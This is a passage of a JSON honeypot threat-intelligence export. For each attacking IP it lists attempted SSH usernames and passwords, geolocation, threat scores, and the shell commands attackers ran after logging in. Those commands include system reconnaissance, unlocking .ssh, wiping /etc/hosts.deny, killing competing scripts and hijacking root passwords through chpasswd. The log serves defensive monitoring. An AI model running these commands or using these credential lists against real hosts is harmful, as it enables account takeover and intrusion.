      "reputation_metrics": {
        "total_events_30d": 691,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T11:31:55.795000+00:00",
        "last_seen_30d": "2026-04-23T12:00:08.604000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 472,
        "Suricata": 219
      }
    },
    "165.232.167.235": {
      "attack_count": 467,
      "first_seen": "2026-04-08T09:15:04.833Z",
      "last_seen": "2026-04-08T10:00:18.247Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "test",
        "akshay",
        "deploy",
        "ftpuser2",
        "git-admin",
        "labuser",
        "metabase",
        "minecraft",
        "odoo",
        "oracle",
        "steam"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "10202640",
        "102030",
        "12345678",
        "@123456",
        "Aa1234567",
        "Odoo06",
        "Qazwsx1234567@123",
        "Qq@123456789",
        "Qwer!@#$",
        "Root01!!",
        "Sm@123456",
        "ZXCasdqwe123",
        "aa123456.",
        "aaCC123",
        "akshay",
        "deploy@123",
        "git-admin",
        "labuser"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Aa1234567\\nQPTOZWTBm6RW\\nQPTOZWTBm6RW\\n\"|passwd",
        "echo \"root:SNmLjGJzNloe\"|chpasswd|bash",
        "echo \"root:cHvHGEB1Io6o\"|chpasswd|bash",
        "echo \"root:io1vYCbMqbcB\"|chpasswd|bash",
        "echo \"root@123\\nwmfUBiTEWb0n\\nwmfUBiTEWb0n\\n\"|passwd",
        "echo -e \"Aa1234567\\nQPTOZWTBm6RW\\nQPTOZWTBm6RW\"|passwd|bash",
        "echo -e \"root@123\\nwmfUBiTEWb0n\\nwmfUBiTEWb0n\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 546,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T09:15:04.833000+00:00",
        "last_seen_30d": "2026-04-08T10:01:27.044000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 467,
        "Suricata": 79
      }
    },
    "27.79.1.60": {
      "attack_count": 442,
      "first_seen": "2026-04-22T17:35:13.235Z",
      "last_seen": "2026-04-22T18:12:19.733Z",
      "sessions": 88,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "developer",
        "monitor",
        "test",
        "ubnt",
        "user",
        "*****",
        "1234",
        "ashish",
        "auto",
        "backup",
        "bin",
        "cisco",
        "cpanel",
        "ftp",
        "geral",
        "guest",
        "guest1",
        "help"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "admin",
        "admin123",
        "password",
        "*****",
        "0l0ctyQh243O63uD",
        "112233",
        "12345",
        "1234567890%*()",
        "72b1bd75ac87852a",
        "91482d",
        "@",
        "OkwKcECs8qJP2Z",
        "P@ssw0rd",
        "abc123",
        "admin1",
        "aerohive",
        "alpine",
        "andrew"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 31.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.0,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 633,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T17:35:13.235000+00:00",
        "last_seen_30d": "2026-04-22T18:13:28.303000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 442,
        "Suricata": 191
      }
    },
    "114.34.106.146": {
      "attack_count": 426,
      "first_seen": "2026-04-29T08:25:37.394Z",
      "last_seen": "2026-04-29T10:38:39.986Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "345gs5662d34",
        "root",
        "es",
        "ftpadmin",
        "odoo8",
        "postgres",
        "rustserver",
        "admin",
        "digital",
        "gitlab",
        "gitolite",
        "mysql",
        "openvpn",
        "samba",
        "siteadmin",
        "test",
        "test-user",
        "test_user",
        "vboxuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "admin123",
        "09876543",
        "1",
        "1234qwe",
        "1q2w3e4r",
        "35",
        "admin2024",
        "admin456!@#",
        "adminserver2009",
        "digital",
        "gitolite",
        "helloworld",
        "odoo8",
        "pass",
        "passpass",
        "password",
        "qwerty123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\nXhXuzzbvMNOg\\nXhXuzzbvMNOg\\n\"|passwd",
        "echo \"35\\nupjsuafafR1R\\nupjsuafafR1R\\n\"|passwd",
        "echo \"odoo8\\nFLgR5zLm5ppm\\nFLgR5zLm5ppm\\n\"|passwd",
        "echo \"rustserver123\\nXqKV0jrOZMQa\\nXqKV0jrOZMQa\\n\"|passwd",
        "echo -e \"12345\\nXhXuzzbvMNOg\\nXhXuzzbvMNOg\"|passwd|bash",
        "echo -e \"35\\nupjsuafafR1R\\nupjsuafafR1R\"|passwd|bash",
        "echo -e \"odoo8\\nFLgR5zLm5ppm\\nFLgR5zLm5ppm\"|passwd|bash",
        "echo -e \"rustserver123\\nXqKV0jrOZMQa\\nXqKV0jrOZMQa\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "New Taipei City",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 38.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 518,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T08:25:37.394000+00:00",
        "last_seen_30d": "2026-04-29T10:39:46.825000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 426,
        "Suricata": 92
      }
    },
    "116.99.172.129": {
      "attack_count": 406,
      "first_seen": "2026-04-14T06:16:25.350Z",
      "last_seen": "2026-04-14T06:56:00.993Z",
      "sessions": 80,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "cisco",
        "*****",
        "1234",
        "123456",
        "admian",
        "am",
        "ashish",
        "auto",
        "bin",
        "cpanel",
        "db2inst2",
        "demo",
        "developer",
        "ftp",
        "ftp_zsd",
        "ftpuser",
        "george",
        "guest"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "123456",
        "*****",
        "039715582364317",
        "0987654321",
        "0l0ctyQh243O63uD",
        "112233",
        "123",
        "12345678",
        "72b1bd75ac87852a",
        "?",
        "@",
        "OkwKcECs8qJP2Z",
        "P@ssw0rd",
        "abc123",
        "abcdefg",
        "admin",
        "admin01",
        "admin1"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 19.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.6,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 574,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T06:16:25.350000+00:00",
        "last_seen_30d": "2026-04-14T06:57:01.477000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 406,
        "Suricata": 168
      }
    },
    "45.121.147.48": {
      "attack_count": 388,
      "first_seen": "2026-04-04T18:18:10.289Z",
      "last_seen": "2026-04-05T08:29:58.333Z",
      "sessions": 54,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "user",
        "345gs5662d34",
        "dev",
        "farm",
        "postgres",
        "admin",
        "ai",
        "deploy",
        "front-user",
        "ftptest",
        "ftpuser",
        "git",
        "luke",
        "minecraft",
        "notes",
        "odoo2",
        "rahim",
        "rfas"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12",
        "123",
        "1234",
        "123456",
        "1234qwer",
        "123qwe!@#",
        "@DM1N",
        "DDqq111",
        "Ftpuser123",
        "P@ssw0rd123!",
        "P@ssw0rds",
        "P@ssw2rd",
        "Password1",
        "Password@1",
        "Qazwsx1111111#",
        "Root17!",
        "Rootroot123",
        "Teamspeak07!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"dev12#$\\nZEctzZ4dRIw0\\nZEctzZ4dRIw0\\n\"|passwd",
        "echo \"farm\\nFy1nqsXT8zd3\\nFy1nqsXT8zd3\\n\"|passwd",
        "echo -e \"dev12#$\\nZEctzZ4dRIw0\\nZEctzZ4dRIw0\"|passwd|bash",
        "echo -e \"farm\\nFy1nqsXT8zd3\\nFy1nqsXT8zd3\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": null,
      "asn": 55720,
      "as_org": "Gigabit Hosting Sdn Bhd",
      "threat_score": 6.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 516,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T18:18:10.289000+00:00",
        "last_seen_30d": "2026-04-05T08:31:04.206000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 388,
        "Suricata": 128
      }
    },
    "103.85.226.34": {
      "attack_count": 336,
      "first_seen": "2026-04-27T22:12:57.288Z",
      "last_seen": "2026-04-28T14:43:14.619Z",
      "sessions": 44,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@test",
        "111111abc",
        "123@qwe~~~~",
        "654321aA",
        "@dmin2",
        "ABCD@!",
        "Abc_123",
        "Africa123",
        "Ht123456",
        "OctavianValentin123456@",
        "Software@123",
        "Szchilink123",
        "Ww@123456789",
        "^YHN7ujm",
        "a1314159",
        "a741852963",
        "ab2",
        "abacus"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:2TeNyOo7CFVV\"|chpasswd|bash",
        "echo \"root:7ZsIitpCa23j\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 401696,
      "as_org": "cognetcloud INC",
      "threat_score": 37.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 434,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T22:12:57.288000+00:00",
        "last_seen_30d": "2026-04-28T14:44:16.154000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 336,
        "Suricata": 98
      }
    },
    "78.44.192.210": {
      "attack_count": 288,
      "first_seen": "2026-04-29T05:33:12.712Z",
      "last_seen": "2026-04-29T06:25:13.284Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "345gs5662d34",
        "aitest",
        "mysql",
        "postgres",
        "test",
        "alfresco",
        "ali",
        "esuser",
        "ftptest",
        "guest",
        "joe",
        "minecraft",
        "oracle",
        "smbtest",
        "testtest",
        "testuser",
        "ts3s",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1qaz\"WSX",
        "1qaz@WSX#EDC",
        "222222",
        "3",
        "54",
        "654321",
        "@test",
        "Aa123456",
        "P@ssw0rd123456",
        "Qwerty",
        "admin",
        "admin@13",
        "admin@@",
        "aitest",
        "esuser",
        "m1n3craft",
        "mysql2021"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"aitest\\nntGcz5AF50ob\\nntGcz5AF50ob\\n\"|passwd",
        "echo \"zaq1xsw2cde3\\ndsf87qJEKhqr\\ndsf87qJEKhqr\\n\"|passwd",
        "echo -e \"aitest\\nntGcz5AF50ob\\nntGcz5AF50ob\"|passwd|bash",
        "echo -e \"zaq1xsw2cde3\\ndsf87qJEKhqr\\ndsf87qJEKhqr\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Czechia",
      "country_code": "CZ",
      "city": "Prague",
      "asn": 16019,
      "as_org": "Vodafone Czech Republic a.s.",
      "threat_score": 37.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 362,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T05:33:12.712000+00:00",
        "last_seen_30d": "2026-04-29T06:26:17.792000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 288,
        "Suricata": 74
      }
    },
    "213.35.128.24": {
      "attack_count": 271,
      "first_seen": "2026-04-23T23:04:57.472Z",
      "last_seen": "2026-04-23T23:35:53.151Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "steam",
        "admin",
        "botuser",
        "deploy",
        "dev",
        "git",
        "server",
        "shoutcast",
        "sshuser",
        "test02",
        "test2",
        "ubuntu",
        "user_1",
        "wjx",
        "xray"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "123456789Aa",
        "321123",
        "5tgb!@",
        "Aa112211.",
        "Admin15",
        "CCdd000",
        "Dev12!",
        "Frappe2",
        "Qwert",
        "Qwertyui1",
        "Qwertyuio1",
        "Root11111!@",
        "Server12345",
        "Steam27!",
        "nPSpP4PBW0",
        "qwertyuiop",
        "root1!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:SCF0kGdjWwCu\"|chpasswd|bash",
        "echo \"root:yNXrhFWr1t7S\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Estonia",
      "country_code": "EE",
      "city": "Tallinn",
      "asn": 3249,
      "as_org": "Telia Eesti AS",
      "threat_score": 29.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 339,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T23:04:57.472000+00:00",
        "last_seen_30d": "2026-04-23T23:36:54.459000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 271,
        "Suricata": 68
      }
    },
    "181.123.136.11": {
      "attack_count": 266,
      "first_seen": "2026-04-22T12:56:42.952Z",
      "last_seen": "2026-04-22T13:48:28.814Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "proxyuser",
        "ubuntu",
        "ansible",
        "development",
        "ftpusertest",
        "git",
        "gitlab-runner",
        "olivier",
        "omkar",
        "postgres",
        "server",
        "sl",
        "steam",
        "teamspeak",
        "test9",
        "test_user",
        "testserver",
        "user"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "02025025Ionela",
        "123123123",
        "123456",
        "Abcd1234567890",
        "Azerty123!",
        "Server21",
        "Teamspeak2",
        "Ubuntu23!",
        "admin",
        "dcc8080990a.",
        "development",
        "ftpusertest",
        "olivier",
        "omkar",
        "password123",
        "postgres16",
        "proxyuser"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"proxyuser\\nbZkC1B0KsiRM\\nbZkC1B0KsiRM\\n\"|passwd",
        "echo \"root:3SWuNQkZlQCT\"|chpasswd|bash",
        "echo -e \"proxyuser\\nbZkC1B0KsiRM\\nbZkC1B0KsiRM\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Paraguay",
      "country_code": "PY",
      "city": "Limpio",
      "asn": 23201,
      "as_org": "Telecel S.A.",
      "threat_score": 28.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 345,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T12:56:42.952000+00:00",
        "last_seen_30d": "2026-04-22T13:49:33.736000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 266,
        "Suricata": 79
      }
    },
    "118.99.80.13": {
      "attack_count": 263,
      "first_seen": "2026-04-17T16:13:00.104Z",
      "last_seen": "2026-04-17T17:04:20.116Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "newuser",
        "testdev",
        "ubuntu",
        "alpha",
        "casaos",
        "cs",
        "ftpuser",
        "kingbase",
        "mihail",
        "n8n",
        "postgres",
        "sam",
        "sammy",
        "test"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "12345678",
        "1234Qwe",
        "123qweasd",
        "4rfv!@",
        "Admin12!!",
        "CCxx112233",
        "FTPUSER",
        "Login1234",
        "QweAsd12345",
        "Qwerty@2024",
        "Tester123",
        "abc12345",
        "alpha",
        "amsterdam",
        "casaos",
        "mihail"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"abc12345\\n9ZmDWLwEkjnP\\n9ZmDWLwEkjnP\\n\"|passwd",
        "echo \"testdev\\nTerOpWhKzWtm\\nTerOpWhKzWtm\\n\"|passwd",
        "echo -e \"abc12345\\n9ZmDWLwEkjnP\\n9ZmDWLwEkjnP\"|passwd|bash",
        "echo -e \"testdev\\nTerOpWhKzWtm\\nTerOpWhKzWtm\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 17451,
      "as_org": "BIZNET NETWORKS",
      "threat_score": 21.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 334,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T16:13:00.104000+00:00",
        "last_seen_30d": "2026-04-17T17:05:24.750000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 71
      }
    },
    "177.53.215.134": {
      "attack_count": 263,
      "first_seen": "2026-04-05T01:08:25.531Z",
      "last_seen": "2026-04-05T02:01:32.518Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "centos",
        "odoo",
        "ftpuser",
        "git",
        "git2",
        "oracle",
        "sap_user",
        "siteadmin",
        "steam",
        "systems",
        "test",
        "testuser1",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx#EDC",
        "000000",
        "001002",
        "123456",
        "AAdd123",
        "Aa121314",
        "Asdf@@",
        "Test123@",
        "ZZqq1234",
        "a123456h",
        "aabbcc",
        "apple",
        "git2",
        "git@1234",
        "huang123",
        "mas@2026",
        "masoud",
        "odoo23!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"odoo23!\\nGY0ieiXXlw1N\\nGY0ieiXXlw1N\\n\"|passwd",
        "echo \"root\\nnRXgb3aoNxL0\\nnRXgb3aoNxL0\\n\"|passwd",
        "echo -e \"odoo23!\\nGY0ieiXXlw1N\\nGY0ieiXXlw1N\"|passwd|bash",
        "echo -e \"root\\nnRXgb3aoNxL0\\nnRXgb3aoNxL0\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
